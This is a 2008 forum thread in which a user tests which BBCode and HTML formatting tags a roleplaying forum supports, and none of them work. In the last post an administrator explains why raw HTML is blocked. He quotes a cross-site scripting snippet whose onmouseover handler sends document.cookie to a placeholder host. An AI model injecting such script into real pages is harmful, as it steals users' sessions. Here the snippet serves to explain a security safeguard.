Is it possible to...
« on: November 17, 2008, 01:18:14 pm »
      ... add whisper commands?  (Please don't mind me; I'm seeing what does and doesn't work)

[whisper=Vekseid]Purty Please?[/whisper]

Spoiler commands?

Spoiler: Click to Show/Hide
Might even work it so that you could put images in here and not get people in trouble!

Open up HTML commands?

<table border="2"><tr><td>Hmm?</td><td>No?</td><td>Perhaps!?</td></tr></table>

Add the super sexy music command?

Different sorts of lists?

[list=1]
  • Because numbers are neat.
  • And I don't know how to count!

and

[list=a]
  • Foreigners don't know their ABCs!
  • Well, they just have more letters.
  • I'm feeling alphabet envy!

Quote from: Vekseid
Say, those are really great ideas, Phantom!

Maybe allow us to get borders?

[table border="2"]
Something something somethingSomething here?Something here!?

Or cellpadding?  Or cell spacing?

[td align="center"]
Super spectacular sexy sounds
[td rowspan=2 align=center]
A picture of me would go here but I MUST
Keep
Typing
To Demonstrate
My Point!
[/td]
[/tr]
[tr][td]
[td align=center]
I like to ramble
[/td][/tr][/table]



None of it worked! :(

You only had to ask... :P I've tried all of those before, ESPECIALLY the tables.

Urr.  Is your comment a good thing or a bad thing?

Only that the forums are a bit limited, as far as coding is concerned.

Still, I don't think that's a bad thing. And you can still use hex coloring for text; there are different fonts; you can change sizes; there are tables, even if they are limited.

For a roleplaying forum, I really don't think anything else is necessary. Nice to have, sure. But for these forums, where most socializing and interaction occurs as text-chatting and text-conversation? Not something I'd view as really necessary to have. I rather like the simplicity.

The reason SMF (and most forums) doesn't support free html editing is because of stuff like:

...
<td onmouseover="document.getElementById ('CategoryHeader').src = 'http://badsite.org/fakeimage.php?' + urlencode (document.cookie);">
...

To attempt to steal people's passwords or at least their sessions.

I may end up adding more mods after we upgrade to 2.0, but what we have now works, and I'm focusing my own efforts on my own parser, not someone else's.
